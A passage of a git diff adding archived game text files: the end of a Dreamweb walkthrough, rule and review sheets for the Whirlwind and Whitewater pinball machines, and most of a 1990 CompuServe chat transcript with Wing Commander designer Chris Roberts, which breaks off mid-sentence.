floor. + +The exit will open up. + +In the first section of corridor your way is blocked by a stone +door. + +At the top of the corridor is a statue - use this. + +Just hit the crystal, this was cracked by----RAZOR 1911----- + +The door will now be open + +The door to the bottom left has a triangular hole in it - a key +hole. + +Go up and find the trolley. + +There are rocks scattered around collect them all (there are 8 +of them) + +Put rocks in trolley. + +Use the trolley - Ryan gives it a big push and it flies off the +screen. + +The screen shakes - there is a crash, and a wheel bounces back +along the corridor. + +The door is now open, walk down and you will find the priest. + +The priest has already changed from human form into something +else, you find his remains. + +Where the priest was is a hole into the outside. + +This leads to the subway. + +Get down onto the track by using the ramp at the top of the +screen. + +Walk upwards until you see a hole in the left hand tunnel wall. + +Walk to this and you will find the Madman's lair. As you explore +he will appear and attempt to kill you. + +Fight and kill the Madman by luring him underneath a passing +subway train. + +Ryan is then whisked off into the Dreamweb where the keeper +speaks to him. + +Ryan wakes up in the real world to the sound of sirens. + +He is then shot by the waiting police. + +The credits scroll up.... + +ZEUS/RAZOR 1911 \ No newline at end of file diff --git a/textfiles.com/games/whirlwin b/textfiles.com/games/whirlwin new file mode 100644 index 00000000..4560e934 --- /dev/null +++ b/textfiles.com/games/whirlwin @@ -0,0 +1,303 @@ +Compiled by Jim Hoxsey (jjhoxsey@vela.acs.oakland.edu). + +Special thanks to Mark Phaedrus (phaedrus@milton.u.washington.edu). + +"Whirlwind" and "Million Plus" are registered trademarks of Williams +Electronic Games, Inc. (C) 1990 Chicago, IL. + +NOTE: These rules are compiled from hours on end of continuous play of +"Whirlwind" and are as accurate as possible to the author's best +knowledge. If there are any discrepancies, please notify the author. + +OBJECT OF THE GAME + To move the storm to your area by hitting various direction +targets. Lock two balls, and start Multiball by locking a third +and/or hitting the 3-toll ramp. + +STARTING THE GAME + One to four players can play. New players can enter the game +by inserting coins and pressing Start until the end of the first +ball; after that, pressing Start aborts the current game for all +players and begins a new one. + +PLUNGER SKILL SHOT + Shoot the ball from the plunger to hit one or more of the +"FEEL THE POWER" drop targets. 100K for "POWER", 200K for "THE" +and 300K for "FEEL". Hitting more than one target will add their +values together. + +SO YOU MESSED UP... + A ball that is launched and doesn't hit a single playfield +target will be re-served. NOTE: This only happens on the FIRST +time a ball is served for a player. This does not apply after a +ball is locked or the ball ends up in the plunger lane by bouncing +over the wall. + +MOVING THE STORM + Scattered about the playfield are eight(8) targets. Two of +each: NE (Northeast), NW (Northwest), SE (Southeast), and SW +(Southwest). These are easily noted by either the letters on them +or color: NE/Red, NW/Yellow, SE/Orange, and SW/Green. A target is +spotted for the player when he launches his 'first' ball of each +ball. The targets the player must hit are lit on the compass at +the center of the playfield. Once all these targets are hit, lock +will lite. + After locking ball 1, the player must hit different targets to +lite lock 2. After locking ball 2, Multiball will lite. + The set of targets for the first Multiball can be hit in any +order. From the second time on, only one direction can be hit at +a time. Only when both of those targets are hit, will another +direction lite. + +SKYWAY TOLLS + Skyway Tolls are collected throughout the game. The number +collected and how are: + Skyway Ramp -- 1 or 2, depending on status of the "2 Tolls" +lite. + Cup -- 1. + 3-Toll Ramp -- Of course, 3. + At the end of a ball, the player will recieve 2K for each +Skyway Toll collected. No more than 99 Skyway Tolls can be +collected. If 99 Skyway Tolls are collected, then the player has +their "SKYWAY PAID FOR" and receive 200K (Plus a neat little tune) +each time a ramp is hit. + +SKYWAY RAMP(Right) + This ramp is used to advance Skyway Tolls and lock balls. Its +entrance can be either open(down) or closed(up). + When open, the ball will be returned to the left inlane, and +either one or two Skyway Tolls will be collected. Going through +the left inlane or going up the ramp will briefly lite 2 tolls. +The Tornado Drop Target's value will also increase briefly. The +point value of this ramp also increases with each successful run. +It starts at 50K and increases by 10K each time up to a maximum of +100K. + When closed, the ball will land in a cup and be ejected toward +the upper right flipper. One Skyway Toll will be collected for +entering the cup. + The ramp's current status depends on a number of things. +Entering the Super Cellar Door (either lit or not lit) will toggle +its status, unless Multiball of either flavor is in progress, in +which case it will remain closed. + In a one player game, the ramp will be open while regular lock +is lit. In a two or more player game, the ramp will be open or +closed while regular lock is lit depending on how many balls are +physically locked to the number that the current player is trying +to lock. If the number that are physically locked is greater than +the number that the player is trying to get to, then the ramp will +be closed. Otherwise, it will be open. + If Multiball of either flavor is lit, the ramp will be closed. + The ramp will be open at the beginning of a player's turn, +unless one of the above rules applies to keep it closed. + +3-TOLL RAMP(Left) + This ramp is used to collect 3 Skyway Tolls, spot a target (if +lock isn't lit or Multiball isn't in progress), lite the Super +Cellar Door, collect Million and/or Million Plus, and start +Multiball. Its value starts at 50K and increases by 10K each time +up to a maximum of 100K. This ramp returns the ball to a point +somewhere near the lower SE target, usually on the right spinning +platter. + +SUPER CELLAR DOOR(Yellow light) + This amazing little device is quite useful. To lite the door +temporarily, the ball must traverse the right inlane. To lite it +permanently (until entered), the 3-Toll Ramp must be hit. + Depending on the difficulty level of your machine, this may or +may not be lit at the beginning of a ball. + The awards that can be lit are labeled on the backglass just +below the score display. The value can be changed using the +spinner located to the right of the Skyway Ramp. + Entering this target will toggle the status of the Skyway +Ramp, unless lock is lit (or will be lit by the Super Cellar Door) +in which case it remains closed. Also, one Cellar Visit will be +awarded. + The seven awards are: + "LO PRESSURE JETS ALL AT MAXIMUM" -- Will increase the point +value of the Lo Pressure Jets to 5K (flashing). + "SUPER DOOR SCORE 500,000" -- Increases the player's score by +500K. + "EXTRA BALL IS LIT" -- Lites the extra ball target. Only lit +until collected or ball is lost. + "DROP TARGET AT MAXIMUM" -- Sets the value of the "FEEL THE +POWER" drop targets to 100K. + "QUICK MULTIBALL IS LIT" -- Lites Quick Multiball. + "MILLION IS LIT" -- Lites the Million shot. + "HI PRESSURE JETS ALL AT MAXIMUM" -- Will increase the point +value of the Hi Pressure Jets to 5K (flashing). + The Super Cellar Door is disabled during Quick Multiball or +Multiball. + When all seven values are collected, all values will flash, +and the Super Cellar Door will lite. Entering the Super Cellar +Door at this point awards MEGA DOOR BONUS. MEGA DOOR BONUS awards +all seven values AGAIN as well as 2,000,000 points and lites ONE +Special. NOTE: Extra Ball can only be collected from the Super +Cellar Door about four times before it will no longer be +collectable (it will automatically lite the box on the backglass). +Also, Special can only be collected approximately twice. These +values may differ on your machine, depending on difficulty setting. + Once the MEGA DOOR BONUS is collected, the Super Cellar Door +will award nothing until the current ball has been lost. + +THE CELLAR DOOR(Red light) + This device is similar to the Super Cellar Door, but will not +award anything except a Cellar Visit. Cellar Visits are worth 5K +each and are cumulative through the entire game. The point value +is awarded at the end of each ball. This is where the ball will +come out if the ball enters it or the Super Cellar Door. + It is also used to start Cellar Multiball. Cellar Multiball +is only possible if Multiball was started, and no Million Plus was +awarded. A player normally has 15 seconds after two balls are lost +on Multiball to collect Cellar Multiball. Cellar Multiball is +basically Multiball with only two balls. When the red light is +flashing, enter the Cellar Door. A ball will be ejected to the +plunger lane. Launch this and the 2nd ball will be ejected from +the Cellar. Normal Multiball rules apply. Either the Super Cellar +Door or the Cellar Door may be entered to start Cellar Multiball. + +"FEEL THE POWER" DROP TARGET + These three drop targets are used for the Skill Shot. +Dropping all three of these targets awards the drop value. It +starts at 50K and increases to 100K in increments of 10K. Sweeping +(hitting all three simutaneously) is 100K + current drop value. +The drop value can be set to 100K immediately by using the Super +Cellar Door. + +TORNADO DROP TARGET + This drop target's value varies, depending on trips up the +Skyway Ramp and the time between them. The initial value of this +target varies depending on the difficulty setting. The values are +50K, 75K, 100K, 150K, LITE QUICK MULTIBALL, and EXTRA BALL. Each +trip up the Skyway Ramp lites the next highest value all the way to +LITE QUICK MULTIBALL. Point values can be collected more than +once, but Quick Multiball can only be collected once each time it +is lit. See EXTRA BALLS to see how to lite the EXTRA BALL target. + After a certain point, LITE QUICK MULTIBALL can no longer be +lit. + +LO/HI PRESSURE JETS + These bumpers are like any other jet bumpers on most Williams +games. Their point value is advanced by the platter in front of +the center Hi Pressure Jet. Hitting this target will advance one +jet bumper. The values are: + Unlit -- 1,000 + Lit -- 3,000 + Flashing -- 5,000 + When all bumpers are flashing, the platter is worth 100K. The +bumpers can also be maxed out with the Super Cellar Door. + +THE FAN AND SPINNING DISKS + What makes Whirlwind what it is. They usually are operational at +the same times. When a lock of any flavor is lit, or when a Multiball +of either kind is in progress. The fan does nothing to game play, but +the disks will wreak havoc with the ball(s) in play. This sometimes +produces quite interesting results, as well as frustrating ones.... + +QUICK MULTIBALL + Quick Multiball can be lit from either the Tornado Drop Target or +the Super Cellar Door. It is started by locking a ball in the cup +under the Skyway Ramp when Quick Multiball is lit. If none or one +ball is physically locked, then a normal Quick Multiball is started: + A ball is ejected into the plunger lane. When a playfield target +is struck, the ball in the cup will be ejected. Unlimited Million is +lit. This continues until one ball is lost. Direction targets can +still be hit during Quick Multiball. The 3-Toll Ramp will award +1,000,000, 3 Skyway Tolls, and spot a direction target (if any need be +spotted). + If two balls are physically locked, then normal Multiball will be +started, except 1,000,000 will be awarded in addition to each Million +Plus collected. + After a certain point, Quick Multiball can no longer be lit from +the Tornado Drop Target. + +LOCKING A BALL + This will vary between one and two player games. In general, a +player must 'lock' two balls before they can start Multiball. In a +two or more player game, if a player does lock two balls, then fails +to start Multiball, another player may 'steal' those balls with a +Quick Multiball. Basically, before a player can play Multiball, there +must be two balls physically locked. Physically locked balls are +those that are sitting in the lock lane on the left hand side of the +machine. + Locking a ball will advance the Bonus Multiplier. The Bonus +Multiplier will multiply the Skyway Tolls value at the end of a ball. +The values are 2X, 3X, 4X, 5X, 6X+Lite Extra Ball, and 6X+Lite +Special. The bonus multiplier will not exceed 6X. A player cannot +'loose' the multiplier value if another player steals their locked +ball(s). + +"FEEL THE POWER" MULTIBALL + Multiball is started by locking two balls and then releasing them +with a third. They can be released two ways, by hitting the 3-Toll +Ramp (which will award 1,000,000 and three tolls), or locking a ball +in the cup. The latter will only work up to a point, then Multiball +must be started by hitting the 3-Toll Ramp. + Once more than one ball is in play, Million Plus will be lit. +Hitting the 3-Toll Ramp will score 2,000,000. This will increase by +1,000,000 each time to a maximum of 10,000,000. If at least one +Million Plus is collected before loosing two balls, normal play will +resume. Otherwise, Cellar Multiball will lite. See CELLAR DOOR(Red +light) for details. + +3-WAY COMBO + Going between the Lo Pressure Jets to the upper right flipper, +around the Hi Pressure Jets and back to the upper right flipper again +and finally up the 3-Toll Ramp scores a 3-Way Combo (plus an awesome +siren). The 3-Way Combo will score only 250K, as well as the points +that the 3-Toll Ramp is currently worth. All these targets must be +hit in order, with no other targets in between (except the neccessary +direction targets and the spinner). + +EXTRA BALLS + Extra Balls can be obtained only by hitting the Tornado Drop +Target when Extra Ball is lit. There are three ways to lite Extra +Ball: + Skyway Tolls -- Depending on the setting of your machine, this +can be from 5 Skyway Tolls to 50. Also, the number of 'stops' that +will lite it can vary. For instance these can be 8, 35, 50, and 75. +Or 35 and 50. Use the Instant Info feature to find out how many are +needed. A tone will sound to let you know that Extra Ball is lit. +Will remain lit until collected or remainder of game. + Super Cellar Door -- Can only be collected a finite number of +times, usually four: two from hitting it while lit and two from the +Mega Door Bonus. No tone will sound to let you know it is lit. This +will remain lit until collected or current ball is lost. + Locking the 5th ball -- Once and only once. Will remain lit +until collected or remainder of the game. + +SPECIALS + Specials can be collected only from the outlanes. There are only +two ways to lite Special: + Mega Door Bonus -- Will only happen 1 or two times. Depending on +the difficulty settings. Will only remain lit until collected or +current ball is lost. + Locking the 6th ball -- Once and only once. A tone will let you +know it is lit. Will remain list until collected or end of game. + If only one Special lite is lit, the lit lane will toggle between +left and right each time a slingshot it hit. + +DIFFICULTY SETTINGS + Oddly enough, I could not find anyways to determine the setting. +Most features are set individually. You'll have to discover these for +yourself. + +5-BALL MACHINES + I've never seen one of these since 1980. I have no idea what +options are changed if set for five balls. + +MECHANICAL FAILURES + I currently only know of one mechanical failure that the machine +can compensate for immediately. This is the Skyway Ramp. If it is +left open (down) and will not rise, Multiball and Quick-Multiball can +still be started. If the CPU sees three balls in the lock lane, it +will start Multiball. This can, of course, wreak havoc in +multi-player games. %) + The Skyway Ramp will only award one Skyway Toll during Multiball +of either type, or when the ramp should be closed during regular play. +You will notice sometimes that the 2 Toll lamp will not lite when the +ball enters the left inlane. This means that the ramp should be +closed (raised). + + Written by Jim Hoxsey (jjhoxsey@vela.acs.oakland.edu) + + \ No newline at end of file diff --git a/textfiles.com/games/whitewat.qt b/textfiles.com/games/whitewat.qt new file mode 100644 index 00000000..65d25786 --- /dev/null +++ b/textfiles.com/games/whitewat.qt @@ -0,0 +1,130 @@ + Quick Take of Whitewater + ======================== + +This Quick Take was written by Kevin Martin, . + +This file may be freely re-distributed in any manner at any time, provided +that it is not altered beyond typographical corrections. Any other kind of +re-distribution requires my permission. I reserve no other rights and make +no warranties or guarantees. + +Whitewater was designed and built by Williams Electronics, Inc. + +A common abbreviation for Whitewater is "WW" - however, this conflicts +with the same abbrevation for Whirlwind, so be careful. + + Goals + ----- + +Visit Hazards to advance your Raft down the Whitewater rapids to visit Wet +Willie's. Start special rounds by riding the Whirlpool. Sneak into Bigfoot's +Cave. Ride the Waterfall in Multiball. Explore all features of the game to +complete the Vacation Planner and collect the wizard bonus! + + Cabinet + ------- + +Whitewater is mostly decorated in white. The sides of the cabinet feature +a greatly exaggerated Bigfoot holding onto a mountain, playing with the +waterfall. The backglass features art from Youssi - a nicely drawn and +detailed drawing of whitewater rafting - in which, regrettably, the only +raft passenger not wearing a life-preserver vest is the young female. +Whitewater also features a backlit waterfall on top of the cabinet head, +which lights up to simulate slowly falling water. + + Playfield + --------- + +There are 3 flippers in Whitewater: 2 normal flippers at the bottom, and +a normal-size flipper mounted on the raised mini-playfield. The upper +flipper can shoot Bigfoot Bluff, a short ramp leading to a plastic +whirlpool, or Insanity Falls, a steep ramp which goes through many up-down +oscillations before returning to the left inlane. + +The Spine Chiller is a ramp which leads from the lower to the upper +playfield, generally shootable only from the right flipper. Just to the +left of this ramp is the Boulder Garden shot, which leads around the back of +the game, underneath the upper playfield, to the Jet Bumpers in the lower +right. The reverse of this shot is called Boomerang Bend. Just to the +right of the Spine Chiller ramp is a saucer called No Way Out, which kicks +balls to the upper playfield, and can also lock them for Multiball. To the +right of No Way Out is a small ramp called Disaster Drop, which carries the +ball underneath the Spine Chiller ramp and drops it at the entrance to the +Boulder Garden shot. + +All of these named shots are Hazards - flashing Hazards must be collected +in order to advance your Raft, which increases the Jackpot value and makes +progress towards Wet Willie's (a mode in which all Hazards are 10M, and then +the flashing light moves around and is worth 100M). + +Whirlpool awards are collected at Bigfoot Bluff, which is relit by Insanity +Falls. These awards are mostly timed rounds or quick multiballs, and are +almost entirely exclusive of one another. + +Whitewater has a kickback in the left outlane, called the Bounceback. It +is not nearly as dangerous an area as on some other games, most notably +High Speed II or Lethal Weapon 3. + +Other things to shoot for include the Lost Mine kickout above the left +inlane, the R-I-V-E-R targets along the left side of the playfield (these +advance the bonus multiplier, and letters can also be spotted by a steerable +light on the inlanes), the Relight Bounceback targets facing left in the +middle of the playfield, the two Hotfoot targets facing down and to the +left above the right flipper (hitting these enough times starts a brief +Jackpot mode), and various Combo Shots. + + Notables + -------- + +Whitewater features a small furry replica of Bigfoot on the upper playfield. +He turns his head a full 360 degrees at various times, and is part of the +diverter on the Bigfoot Bluff. He isn't nearly as obvious as, say, Rudy +on Funhouse, though, and it's likely that the simulated waterfall on top +of the cabinet head attracts more gimmick-oriented players than this furry +doll does. + +On newer ROMs (at least L-1), Whitewater will briefly explain the Vacation +Bonus every second time through the attract mode sequence. + +There is a dedicated, difficult-to-hit Extra Ball target immediately above +the right inlane. Depending on how the machine is set up, this may be one +of the most difficult Extra Ball targets ever. + +The manual plunger on Whitewater pretty much requires that the player +plunge carefully, rather than launch the ball at full speed (this will +send it down the Spine Chiller ramp, and straight towards the drain - and +on the newest ROMs, this counts as a real drain!). + +The Whirlpool awards include a quick multiball, a hurry-up mode, lighting +an Extra Ball, advancing the Raft for free, a random award, and a timed +mode of 5X Playfield Values. + + Miscellaneous + ------------- + +This game was designed by Dennis Nordman, who, I believe, has not +designed a game since, oddly enough, Blackwater 100. The design is very +solid and coherent, and the theme and implementation seem to have wide +appeal. With the exception of the careful work required to reach the +Vacation Bonus, however, experienced players may tire of the game more +quickly than some other machines. + +One notable maintenance problem in Whitewater is the upper flipper. Worse +yet, the upper playfield is not hinged, and major exploratory surgery is +required to fix problems in the upper flipper and the opto switches hidden +underneath the playfield and the large plastic pieces in the game. For +most of these switches, failures lead to very strange or unacceptable +behavior. + +I believe Whitewater is a fairly successful earner, probably well enough +to justify the added cost and difficulty of maintenance. + +======================================================================= + +Direct comments, corrections, etc, to . + +And visit the Pinball Archive! ftp.rahul.net:/pub/sigma/pinball +The Pinball Archive features these other files related to Whitewater: + - a Rules Sheet: "Rules/whitewater" + - a Tips Sheet: "Tips/whitewater.tips" + diff --git a/textfiles.com/games/wing.con b/textfiles.com/games/wing.con new file mode 100644 index 00000000..31db83e5 --- /dev/null +++ b/textfiles.com/games/wing.con @@ -0,0 +1,556 @@ +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +CompuServe + and the +GAMERS Forum + +Present a live, on-line conference with Chris Roberts, game designer/director +for Origin. Chris will join us tonight (Monday, November 26, 1990) to discuss +his big hit game Wing Commander. + +Hosted by: Jeff Horrocks 72247,1462, Flight Simulators Section Leader. +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +[EDITOR: The scene: Several members are in the CONference room and awaiting the +arrival of tonights guest. Some friendly bantering going on.] + +(Jeff Horrocks/HOST) Don, Have you been using Wing Commander? + +(Don R.) Seen it a little, yes. Actually I sell it, that's why I'm here. + +(Jeff Horrocks/HOST) Oh Really? Is it selling? + +(Don R.) Yes, very well. It's one of my top selling progs. I expect the Secret +Mission disk in 2 weeks, right? + +(Jeff Horrocks/HOST) Riiiiiiight. + +(The Sierra Pest!) Is this the room for the Chris Roberts CON? + +(Jeff Horrocks/HOST) Yes, Chris Roberts will join us tonight at 10 PM. + +(Jeff Horrocks/HOST) Don, How many copies do you sell a week (or a day?)? Just +curious. + +(Don R.) Maybe 2 to 4 copies a day, that's pretty good, althouh Kings Quest 5 +is selling at about 6 a day, and some of my Genesis titles sell as many as 50 a +day. + +(Jeff Horrocks/HOST) Don, Yes it is good. Where is your store? + +(Don R.) NY Electronics Boutique + +(Jeff Horrocks/HOST) Welcome everyone that's just tuned in! We're expecting +Chris Roberts any time now. + +(The Sierra Pest!) Hope he didn't get hit by a Kilrathi on the way :) + +(Don R.) haha + +(RoboCop/Sierra Pro!) WELCOME Mr. ROBERTS!!!!! + +(Don R.) Welcome Chris. + +(The Sierra Pest!) Hi Chris! + +(Tsunami) Hi Chris! + +(Jon Oakes) I think Drakhheth mu.. CHRIS IS HERE??! + +(RoboCop/Sierra Pro!) Just testing you all Cruel huh? + +[EDITOR: RoboCop is always good for a little controversy. This time he's played +a little hoax on us.] + +(Jon Oakes) Hi Chri...uh, Robocop, Shame, Shame, Shame! + +(Tsunami) Robo, That was terrible! + +(Mike "Maj. Relayer") Full Guns on him! + +(RoboCop/Sierra Pro!) I'm bullet-proof Mike! + +(Jeff Horrocks/HOST) Hehe. Robo is an evil one. He had me looking over _my_ +shoulder! + +(RoboCop/Sierra Pro!) Anxious bunch here tonite Jeff! + +(Jon Oakes) Your mother looks like Drakkheth!!!! + +(Jeff Horrocks/HOST) Welcome everyone that just got in! We're expecting Chris +Roberts any minute now. Here he is now. + +(Origin Systems) Yes indeed! + +(Tsunami) Hi Chris! + +(Jeff Horrocks/HOST) Welcome! + +(The Sierra Pest!) Hi Chris! + +(Don R.) 'lo chris + +(RoboCop/Sierra Pro!) I see him!! Welcome Chris! + +(Jon Oakes) YO! Mega Game designer stud! + +(Origin Systems) Hi folks! + +(The Sierra Pest!) + +(Jeff Horrocks/HOST) Are you ready Chris? + +(Origin Systems) Not really, but think we can "wing" it. + +(Tsunami/Ass't SysOp) + +(Don R.) boooooo!!! + +(Jeff Horrocks/HOST) Okay, Here we go. Tonights CONference will be run under +PROCEDURES AND ETIQUETTE FOR FORMAL CONFERENCES. Sometimes our meetings are +strictly informal, there are no special rules, and participants generally talk +when they please. However, for more formal meetings, some rules must be +established to keep the CON running smoothly and give all a chance to +participate. Please wait for your turn to speak. This CON will be held in +three parts: To start off, our guest speaker will make some opening remarks or +comments. During this time, all CON attendees must remain quiet. When the +guest is finished, I will ask for a show of hands of people who wish to ask a +question. The HOST will then invite you, in order, to ask one question and one +follow up question. After one pass thru the question queue, I will ask for +another round of questions. After a couple of rounds of questions we'll throw +the CONnference open for a free-for-all to finish up. Thanks for your attention +to that awful but necessary stuff. + +(Jeff Horrocks/HOST) Tonights guest is Chris Roberts the Designer, Director, +Co-Producer, and Co-Engineer for the megahit 3-D Space Combat Simulator, Wing +Commander. Chris, first of all, thank you very much for taking the time to be +with us tonight here in GAMERS! Also congratulations! We've all been having a +great time with WC, and it's been our *HOT* Topic for the past month. Do you +want to make some opening remarks? + +(Origin Systems) Sure give me a moment to compose... While I'm doing that let +me introduce you all to Greg Malone who is handling the keyboard tonight. + +(Jeff Horrocks/HOST) Hello and Welcome to Greg Malone AND Chris Roberts! + +(Origin Systems) So, anyway. To answer your question, I was out to achieve the +goal of creating the feel of a movie in a computer game. In attempting to do +so, I also wanted the player to associate closely with the lead character so +the player would feel like he was the star of the movie (game). Seems we +accomplished that to some degree. One more thing With Wing Commander 2, I want +to put even further emphasis on the story and characters now that we know what +works and now that we've got the basic system down. Of course, I know we'll +talk more about WC2 here in a few. + +(Jeff Horrocks/HOST) Thanks very much. Boy you really started some mouths +watering already! + +(Jeff Horrocks/HOST) We'll start tonight off with a question from Jon Oakes. +Jon, you have the floor for one question and a follow up. + +(Jon Oakes) First off. Thanks Chris for a FANTASTIC GAME! But I'm dying of +anticipation. When will The Secret Missions Disk be sent out? + +(Origin Systems) Glad you asked! We actually signed off on the Secret Missions +today (yeah!) which means that they will be shipping by the end of the week. +That means all those who have ordered it direct from Origin will get theirs +quickly and retail stores will get theirs a week or so later, though retail +will be selling the Secret Missions for $29.95 as opposed to the $19.95 for +direct. + +(Jon Oakes) Can you give me any teasers as to what the plot will be like for +the Secret Missions?? I've heard about THE KITTIES SECRET WEAPON and such. Any +tidbits? + +(Origin Systems) You've actually got the gist of it. Yes, there has been a +distress call from the Goddard Colony in the Deneb sector, and there is indeed +evidence of a new Kilrathi weapon! The Tiger's Claw is dispatched on a daring +secret mission to penetrate behind Kilrathi lines and destroy the new weapon. + +(Mike "Maj. Relayer") Chris, Is it true that some missions get easier after you +try them a few times? + +(Origin Systems) No, it may *seem* that way, but you're just getting better. + +(Mike "Maj. Relayer") Can all of the new WC2's features be accessed on a 286 +machine? + +(Origin Systems) Yes, but if you don't have expanded memory you won't get the +camera replay or the digitized voices (referring to WC2, *not* Secret Missions, +of course). + +(RoboCop/Sierra Pro!) I have a couple of questions. First, will there be +tail-gunners in WC2? + +(Origin Systems) Yes, one of the ships you will fly is a Broadsword bomber, and +it will have two gunnery positions. This will prove helpful on some of the +specially designed bombing runs that will be integral to killing capital ships. + +(RoboCop/Sierra Pro!) NEAT!!! You've been at Origin for about 1 1/2 years. Now +that games are jumping into a VGA standard, have you considered working for +other companies with more VGA related programming tech. like Accolade, Access, +Sierra, Etc.? (I appologize, I hope that didn't sound like I was saying Origin +didn't do well with VGA.) + +(Origin Systems) I've actually been with Origin for 3 years. And I'd rather +push the VGA standard with Origin because we TOO are trying to set new +standards in graphics technology. You're witnessing the first fruits of this +and we are actually working on stuff that even blows Wing Commander away! (g) + +(Jeff Horrocks/HOST) Thanks Robocop. Now the next question goes to The Sierra +Pest! Take it away PEST! + +(The Sierra Pest!) Will there be a CD-ROM Version of WC2? + +(Origin Systems) We're certainly are looking into it. WC2 *may* make it onto +CD ROM, but by late 91 and into 92, we'll definitely be there. + +(Jeff Horrocks/HOST) Thanks Sierra Pest. Next question is from Brian Esch. Go +ahead Brian! + +(BRIAN ESCH) Thank you for many *hours* of entertainment. We were disappointed +in the memory problems. When is wc2 to be relesaed. thank you for an +excellent game! + +(Origin Systems) I'm glad you've had a good time. Sorry about any memory +inconveniences or problems, but when you write a game that pushes the PC to and +beyond its limits you run the risk of problems such as these. There are so many +hardware variations out there. + +(Jeff Horrocks/HOST) Next we go to Eric Anderson. Go ahead Eric. + +(eric H. anderson) Chris, Just a couple questions. First, does WC have Disk +Caching built in? + +(Origin Systems) Yes. If you have the expanded memory, WC uses that to cache +graphics. + +(eric H. anderson) Thats what I figured. Do some of the messages that the other +pilots give you get out of sequence or is it my imagination? + +(Origin Systems) Not that I know of. The wingmen will act on their own +initiative sometimes which might give you the impression they've spoken out of +turn. + +(eric H. anderson) Not what I meant. What I mean is the gossip they give you in +the bar. It seems out of sequence at times. + +(Origin Systems) Still, no, it shouldn't be out of sequence. + +(Jeff Horrocks/HOST) Next up is Fabian Gonell, you're on Fabian! + +(Fabian Gonell) Good evening. Have you considered a sequel to WC or WC2. With +the player on the side of the Kilrathi? + +(Origin Systems) We've considered such a scenario, although for WC2 you will +still be fighting for the Confederation. But, you may be interested to know +that in WC2 the situation does occur where one Kilrathi colony rebels against +the Kilrathi Empire and it requests human assistance and the rebels send their +fighters to fight *alongside* you against the Empire. + +(Fabian Gonell) Any chance of multi-player WC thruogh modem connections? + +(Origin Systems) Yes, we are considering it as an add-on disk to possibly WC2. + +(Jeff Horrocks/HOST) Outstanding answer! Okay the floor goes to Quinne Bass, Go +ahead and ask Quinne! + +(QUINNE BASS) First of all, congratulations on the GOOD GAME. When will all +these goodies for WC2 be available? + +(Origin Systems) Fall 91 is the plan. Correction, WC2 will be available in late +Spring. Any add-on disks will probably follow in the Fall. + +(QUINNE BASS) Will ther be a scenario in which someone from the federation +turns... dare I use the word "traitor"??? + +(Origin Systems) Okay, who have you been talking to???? + +(QUINNE BASS) Just a guess. That's what u get when u play 23 hrs with +no sleep. + +(Origin Systems) Actually, that IS one of the pivotal plot elements in WC2. + +(Jeff Horrocks/HOST) Too close to the bone there Quinne. I guess we better +move along to Eric Schiffli, You're on Eric S. + +(Eric Schiffli) Has the reported problem with the joysticks been resolved? + +(Origin Systems) Sorry for any joystick problems out there. In WC, I wanted +the program to be able to auto-detect and center all joysticks. Unfortunately, +due to the million hardware configurations we missed a couple, but have made +fixes for them. + +(Eric Schiffli) Also, I hope you haven't finished the setup for WC2 because I +think being able to pick your own ships after a certain time would be a nice +perk before you retire. Even Captain Kirk can fly what he pleases. Perhaps +this could be on a follow-up disk? Maybe also armament options,too. + +(Origin Systems) Good questions. Since you are supposed to be in the military +you fly what you are assigned to, but in WC2 you will be given different +weapons payloads for specific missions. I'll give your suggestion some more +thought, thanks. Perhaps we can do that on a follow up disk, such as the +Secret Missions disk gives you the added ability to select any of the original +40 missions to fly at will. + +(Jeff Horrocks/HOST) Thanks for the great questions AND answers! That finishes +the first round of questions. Before we go ahead with the next round, I wanna +take a minute to say Congratulations to Tsunami a fellow GAMERS Staffer who's +moved UP the ladder to Assistant SysOp. This is the first CONference I've seen +Tsunami in since his 'promotion' so Tsunami, Congratulations, and you have the +floor to ask a question! + +(eric H. anderson) Congrats, Tsunami + +(BRIAN ESCH) good jog T! + +(Tsunami/Ass't SysOp) Thanks. First, I want to thank Chris and Greg for my +recent visit with Origin and the Spookhouse! Chris, could you talk about some +of the game ideas you have for using the WING COMMANDER technology *other* than +in WING COMMANDER sequels? + +(Origin Systems) The main project I'm working on for Fall 91 will have a +combination of WC graphics technology and 3D polygon (using shading and texture +mapping) to depict *terrain*. This will give another dimension of realism to +the experience. + +(Tsunami/Ass't SysOp) What kind of game will that be? A ground vehicle +simulator? Or something completely different? + +(Origin Systems) Hmmmm, could be. But can't discuss details yet since we're +still working on the technology aspects and I believe the technology has to fit +the game. (ie. If it works well for a ground vehicle simulator, that's what +we'll do.) + +(Tsunami/Ass't SysOp) Thanks! Sorry I'm so nosey. + +(Jeff Horrocks/HOST) Next question is from Jon Oakes. You're on Jon. + +(Jon Oakes) Thanks. Chris, What does one have to do to "BE" a Chris Roberts? +(Besides have Mr. & Mrs. Roberts for parents.) I mean, what school and +experience do you have. In essence, how did you LEARN to do a game like WING +COMMANDER? + +(Origin Systems) I've been in the computer game industry since 1982 (in the +U.K.). I taught myself how to program and have always had a love for films and +computer games. Besides all this you need a clear vision of the game you're +trying to create. And you've gotta stick with that vision and not compromise +it. + +(Jon Oakes) You said you plan to emphasize the characters and plot in WC2. +Does that mean that you'll get in trouble for blowing up your Wingman? I +thought that was the most inconsistent thing in an otherwise great game! + +(Origin Systems) Yes, definitely. Unless its Maniac, of course (grin). + +(Jon Oakes) Ya! Nuke Maniac! + +(Jeff Horrocks/HOST) Next comes Eric Schiffli, Take it away Eric. + +(Eric Schiffli) I think I've found a strange bug. I went out on the run where +you have to make a recon of a cat ship. My winggman was killed, and when I was +debriefed he reappeared just long enough to help then went back to his coffin. +What's up? + +(Origin Systems) Are you sure he died, and didn't just break off and go home? + +(Eric Schiffli) He died. I may have killed him myself! (I get out of hand +sometimes). I remember the funeral after the mission. + +(Origin Systems) I don't know of any such situation. + +(Eric Schiffli) Speaking of getting out of hand, is there any way to destroy +the Tiger Claw yourself? + +(Origin Systems) Yes, point your guns at it and shoot for a long time. + +(Jeff Horrocks/HOST) Whew! Okay Brian Esch, Let loose with another blast! + +(BRIAN ESCH) Can you use the combined victories of WC1 in WC2? + +(Origin Systems) In WC2, you will transfer over your WC character (including +his Secret Missions data) but, due to circumstances beyond your control you +will be disgraced, cashiered, and demoted to the equivalent of Coast Guard at +the start of the game . + +(BRIAN ESCH) Chris, thanks again for an inspired game. How are the joystick +fixes available? + +(Origin Systems) If you think you have a joystick problem call Origin Customer +Service at 512-328-0282. There is a software fix available for 